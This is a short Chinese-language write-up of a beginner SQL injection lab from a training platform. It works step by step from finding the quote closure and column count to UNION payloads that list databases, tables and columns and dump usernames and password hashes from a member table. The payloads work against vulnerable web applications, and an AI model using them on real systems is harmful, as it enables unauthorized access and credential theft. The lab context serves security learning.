写在前面:
最近准备从头再来过一遍sql,所以开始刷墨者学院的题目。
这是一道最简单的字符型 联合注入题目
目的:拿到用户与密码
首先寻找注入点,我们发现在维护界面存在id字段可能存在注入。
1.找闭合字符
首先尝试寻找闭合字符,当输入‘
时界面加载正确 可能是’
,接着测试 and 1=1
界面正确,and1=2
界面错误 没错说明确实闭合字符是单引号。
当然需要–+起到闭合后面闭合字符的作用。
接下来用order by 判断有多少列 order by 1时正确 order by 5 时错误说明共4列
id=tingjigonggao' order by 5 --+
接下来查找回显字段 id=-1' union select 1,2,3,4 --+
可看出2,3位回显字段,注意使用联合注入的时候需要将前面的id里面的值改为不存在的数据,这样联合注入的语句才能发挥作用
2.爆破数据库
在2,3字段写语句
id=-1' union select 1,group_concat(schema_name),3,4 from information_schema.schemata --+
可以看出我们要的数据库只有**mozhe_discuz_stormgroup
**
3.爆破数据表
id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' --+
两个表
notice,stormgroup_member
4.爆破字段
id=-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='notice' --+
notice表:id,title,content,time
stormgroup_member表:id,name,password,status
5.爆数据
目的是找用户名与密码,那么肯定要爆name与password
id=-1' union select 1,name ,password,4 from stormgroup_member limit 0,1--+
可以控制limit 爆破第二个password
最后会得到name为mozhe
password为一段md5值解密后到登录界面 用第2对密码可以登录得到key值